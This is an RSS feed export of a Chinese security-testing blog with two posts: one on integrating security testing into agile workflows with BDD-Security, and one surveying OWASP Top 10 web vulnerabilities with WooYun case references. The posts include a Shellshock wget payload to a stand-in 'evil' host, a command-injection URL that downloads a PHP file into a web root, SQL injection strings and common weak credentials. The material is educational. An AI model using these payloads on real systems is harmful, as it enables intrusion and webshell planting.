﻿<?xml version="1.0" encoding="utf-8" standalone="yes"?><rss version="2.0" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:trackback="http://madskills.com/public/xml/rss/module/trackback/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/"><channel><title>BlogJava-qileilove-随笔分类-安全性测试</title><link>http://www.blogjava.net/qileilove/category/52072.html</link><description>blog已经转移至github,大家请访问qileizhaokan.github.io</description><language>zh-cn</language><lastBuildDate>Wed, 18 Mar 2015 14:43:17 GMT</lastBuildDate><pubDate>Wed, 18 Mar 2015 14:43:17 GMT</pubDate><ttl>60</ttl><item><title>在开发流程中嵌入安全测试</title><link>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Wed, 18 Mar 2015 14:10:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/423599.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/423599.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/423599.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　ContinuumSecurity创始人Stephen de Vries，在Velocity Europe 2014大会上提出了持续且可视化的<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">安全测试</strong></u></a>的观点。Stephen表示，那些在<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">敏捷</strong></u></a>开发过程中用于将QA嵌入整个开发流程的方法和工具都能同样的用于安全测试。BDD-Security是一个基于JBehave，且遵循Given-When-Then方法的安全测试框架。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　传统的安全测试都遵循瀑布流程，也就是说安全团队总是在开发阶段的末期才参与进来，并且通常需要外部专家的帮助。在整个开发流程中，渗透测试总是被安排到很晚才做，使得为应用做安全防范的任务尤其困难且复杂。Stephen认为安全测试完全可以变得像QA一样：每个人都对安全问题负责；安全问题可以在更接近代码的层面考虑；安全测试完全可以嵌入一个持续集成的开发过程中。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　为了论证QA和安全测试只有量的区别而没有质的区别，Stephen展示了C. Maartmann-Moe和Bill Sempf分别发布的推特：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从QA的角度：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　QA工程师走进一家酒吧，点了一杯啤酒；点了0杯啤酒；点了999999999杯啤酒；点了一只蜥蜴；点了-1杯啤酒；点了一个sfdeljknesv。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　从安全的角度：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　渗透测试工程师走进一家酒吧，点了一杯啤酒；点了&#8221;&gt;杯啤酒；点了&#8217;or 1=1-杯啤酒；点了() { :; }; wget -O /beers http://evil; /杯啤酒。　　要将安全测试集成进敏捷开发流程中，首先需要满足的条件是：可见性，以便采取及时应对措施并修补；可测试性，以便于自动化，比仅仅简单的扫描更有价值。Stephen发现BDD工具族就同时满足了可见性及可测试性，因此他开始着手构建BDD-Security安全测试框架。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　由于BDD-Security是基于JBehave构建的，因此它使用BDD的标准说明语言Gherkin。一个BDD-Security测试场景如下：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Scenario: Transmit authentication credentials over HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Meta: @id auth_https</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Given the browser is configured to use an intercepting proxy</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the proxy logs are cleared</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the default user logs in with credentials from: users.table</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　And the HTTP request-response containing the default credentials is inspected</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Then the protocol should be HTTPS</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　BDD-Security用户故事的编写与通常做法不太一样。BDD-Security说明页面上写着：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本框架的架构设计使得安全用例故事与应用的特定导航逻辑相互独立，这意味着同一个用户故事仅需要做微小的改动就能用在多个应用中，有时甚至无需修改。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　这也说明BDD-Security框架认为对许多应用来说，有一系列安全需求都是普遍要满足的。也就是说你只需写代码把已有的故事插入你的应用&#8212;&#8212;也就是导航逻辑中即可。当然，必要的时候你也完全可以编写自己的用户故事。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　BDD-Security依赖于第三方安全测试工具来执行具体的安全相关的行为，例如应用扫描。这些工具有OWASP ZAP或Nessus等。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　Stephen还提到其它一些有类似功能的工具。如Zap-WebDriver就是一款更简单的工具，不喜欢BDD方式的人可以考虑采用它。Gauntlt与BDD-Security框架类似，同样支持BDD，只是它使用的编程语言是<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Ruby</strong></u></a>。Mittn用<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">Python</strong></u></a>编写并且同样也使用Gherkin。</div><img src ="http://www.blogjava.net/qileilove/aggbug/423599.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/qileilove/" target="_blank">顺其自然EVO</a> 2015-03-18 22:10 <a href="http://www.blogjava.net/qileilove/archive/2015/03/18/423599.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>渗透测试必知必会—Web漏洞</title><link>http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html</link><dc:creator>顺其自然EVO</dc:creator><author>顺其自然EVO</author><pubDate>Mon, 22 Dec 2014 15:42:00 GMT</pubDate><guid>http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html</guid><wfw:comment>http://www.blogjava.net/qileilove/comments/421646.html</wfw:comment><comments>http://www.blogjava.net/qileilove/archive/2014/12/22/421646.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/qileilove/comments/commentRss/421646.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/qileilove/services/trackbacks/421646.html</trackback:ping><description><![CDATA[<div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x00前言</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　本文为对<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">WEB</strong></u></a>漏洞研究系列的开篇，日后会针对这些漏洞一一研究，敬请期待</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x01 目录</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x00 前言</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x01 目录</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x02 OWASP TOP10 简单介绍</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x03 乌云TOP 10 简单介绍</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　0x04 非主流的WEB漏洞</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">0x02 OWASP TOP10 简单介绍</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　除了OWASP的TOP10，Web安全漏洞还有很多很多，在做<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">测试</strong></u></a>和加固系统时也不能老盯着TOP10，实际上是TOP10中的那少数几个</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　直接说2013的：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　A1: 注入，包括<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">SQL</strong></u></a>注入、OS注入、LDAP注入。SQL注入最常见，wooyun.org || http://packetstormsecurity.com 搜SQL注入有非常多的案例，由于现在自动化工具非常多，通常都是找到注入点后直接交给以sqlmap为代表的工具</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　命令注入相对来说出现得较少，形式可以是：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　https://1XX.202.234.22/debug/list_logfile.php?action=restartservice&amp;bash=;wget -O /Isc/third-party/httpd/htdocs/index_bak.php http://xxphp.txt;</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　也可以查看案例：极路由云插件安装<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">shell</strong></u></a>命令注入漏洞 ，未对用户输入做任何校验，因此在web端ssh密码填写处输入一条命令`dropbear`便得到了执行</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　直接搜索LDAP注入案例，简单尝试下并没有找到，关于LDAP注入的相关知识可以参考我整理的LDAP注入与防御解析。虽然没有搜到LDAP注入的案例，但是重要的LDAP信息 泄露还是挺多的，截至目前，乌云上搜关键词LDAP有81条记录。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　PHP对象注入：偶然看到有PHP对象注入这种漏洞，OWASP上对其的解释为：依赖于上下文的应用层漏洞，可以让攻击者实施多种恶意攻击，如代码注入、SQL注入、路径遍历及拒绝服务。实现对象注入的条件为：1) 应用程序必须有一个实现PHP魔术方法(如 __wakeup或 __destruct)的类用于执行恶意攻击，或开始一个"POP chain"；2) 攻击中用到的类在有漏洞的unserialize()被调用时必须已被声明，或者自动加载的对象必须被这些类支持。PHP对象注入的案例及<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">文章</strong></u></a>可以参考WordPress &lt; 3.6.1 PHP 对象注入漏洞。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在查找资料时，看到了PHP 依赖注入，原本以为是和安全相关的，结果发现：依赖注入是对于要求更易维护，更易测试，更加模块化的代码的解决方案。果然不同的视角，对同一个词的理解相差挺多的。</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　A2: 失效的身份认证及会话管理，乍看身份认证觉得是和输入密码有关的，实际上还有会话id泄露等情况，注意力集中在口令安全上：</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">案例1：空口令</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：国内cisco系列交换机空密码登入大集合</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：UC某服务器可空口令访问<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">数据库</strong></u></a></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　<strong style="word-break: break-all; line-height: normal !important;">　案例2：弱口令</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：盛大某站后台存在简单弱口令可登录　　admin/admin</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：电信某省客服系统弱口令泄漏各种信息　.../123456</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：中国建筑股份有限公司OA系统tomcat弱口令导致沦陷　　tomcat/tomcat</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">案例3：万能密码</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　乌云：<a target="_self" style="word-break: break-all; color: #202859; line-height: normal !important;"><u style="word-break: break-all;"><strong style="word-break: break-all;">移动</strong></u></a>号码上户系统存在过滤不严　　admin'OR'a'='a/admin'OR'a'='a (实际上仍属于SQL注入)</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　<strong style="word-break: break-all; line-height: normal !important;">弱口令案例实在不一而足</strong></div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; background-color: #ffffff;">　　在乌云一些弱口令如下：其中出镜次数最高的是：admin/admin, admin/123456</div><div style="word-break: break-all; line-height: 21.6000003814697px; margin: 10px 0px; color: #333333; font-family: Arial, Helvetica, sans-serif; font-size: 12px; text-align: center; background-color: #ffffff;"><font color="#202859"><span style="line-height: normal !important;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_201412111040521DFFa.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></span></font><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">如果要继续深究下去或者取得更多数据进行分析的话，结局就会如猪猪侠总结的那样：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px;"><font color="#202859"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;"><img src="http://www.51testing.com/attachments/2014/12/14982672_2014121110405227ae3.jpg" border="0" style="word-break: break-all; list-style: none outside none; margin: 0px; padding: 0px; border: none; max-width: 500px;"  alt="" /></a></font></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　当然会话存在的安全问题也是需要考虑的，可以是令牌、token被窃取，尤其当会话没有设置生命周期时很容易出现会话/身份被劫持</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　会话管理问题可以是用户A登陆了某个地址，但是没有注销(奇葩情况是注销无效)，直接退出了浏览器又没有清除cookie，如果说这时候有B借用A的电脑，他直接以A的身份登陆该地址是没有问题的，这不是服务端的问题。但假设之后A都没有访问改地址，而是把电脑合上待机了，第二天如果B借用他的电脑直接登陆了该地址，则责任在于服务端的会话管理不当，没有设置超时时间。除此之外，还有会话重放、会话信息泄露等问题。说到会话信息泄露，不禁想起将sessionid放在URL中的情形，鄙人暂未遇到直接利用这个可以窃取会话的，但不排除其可能</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A3: 跨站脚本(XSS)，最普遍的漏洞，曾被认为是鸡肋漏洞，事实证明有时候危害很大的，窃取cookie，构造蠕虫不一而足。XSS的技术体现在Javascript功底上，现在很多网站都有针对XSS的过滤器，J2EE可以使用全局过滤器，但是过滤器基本都是使用黑名单设防，是有可能绕过的，回应了技术体现在Javascript功底上。跨站脚本还有flash类型的，由于相比之下出现得比较少，浏览器和过滤器的防御精力不在这上面，如果出现可能更容易成功。值得一提的是，对于XSS，现在的扫描工具都会将其标识为高危漏洞，实际上扫描器根据返回的响应中是否有加入的载荷来判断跨站脚本漏洞存在的可能性，误报率会比较高。还有就是常规扫描器只能识别反射型XSS，反射型XSS本身危害是比较小的，存储型XSS危害才大(危害大小看具体情况)。反射型XSS现在常规payload要想过IE10、IE11或chrome还是有难度的，因此XSS技术的另一个体现方面即是对浏览器特性的了解。至于存储型XSS，则要看具体业务和数据是否会受影响，用户交互程度越高，利用难度就越大，如果能弹框证实漏洞存在，但很难被触发或者就算窃取到cookie也无法登陆，很难说明是高风险安全问题，但还是有修复和改进的必要。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A4: 不安全的直接对象引用，访问控制不当的问题，常见为越权操作(横向+纵向)，譬如：遍历用户id批量获取用户信息、在HTTP请求中篡改某个参数的值就变成了其他身份进行的操作，最激动人心的是可以进行刷钱等操作。越权问题并不高深，相比SQL注入和XSS技术难度还要低一点，因为通常只要改参数值就可以了(一般来说)。防止此类问题的做法很简单，当用户需要访问某资源或进行操作时，服务器端取出来访用户的session值，判断是否具有访问或操作权限。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　在访问控制操作中，我们可以设定某一资源或文件A可以访问、B不能访问，但是当对应的用户多起来时也会遇到麻烦。也可以为用户访问资源或文件标志一个权限，作为一个会话属性，属于自己的才可以操作或访问，具体情况具体讨论。</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　<strong style="word-break: break-all; line-height: normal !important;">案例1：水平越权</strong></a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　乌云：虎扑某功能存在水平越权</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　<strong style="word-break: break-all; line-height: normal !important;">　案例2： 垂直越权</strong></a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　乌云：中国电信某系统管理员WEB界面越权访问</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　A5-A7\A9: 安全配置错误\敏感数据泄露\功能级访问控制缺失\使用含已知漏洞的组件=&gt;运维不当，直接看运维不当的</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　知乎专栏：运维安全(...)</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　乌云知识库：从乌云看运维安全那点事儿</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　引用一下知识库的内容，问题有：</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　struts漏洞</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Web服务器未及时打补丁，有解析漏洞</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　PHP-CGI RCE</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　FCK编辑器</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　server-status信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　网站备份文件放在web目录，可被下载</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　列目录导致可看到敏感数据并查看</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　snmp信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　weblogic弱口令</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　SVN信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　域传送漏洞</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Rsync</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　hadoop对外</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　nagios信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　ftp弱口令或支持匿名访问导致信息泄露</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　RTX泄露信息</a></div><div style="word-break: break-all; color: #333333; text-decoration: none; line-height: normal !important; margin: 10px 0px; text-align: left;"><a href="http://www.51testing.com/batch.download.php?aid=49998" target="_blank" style="word-break: break-all; color: #202859; text-decoration: none; line-height: normal !important;">　　Ganglia信息泄露</a></div><div 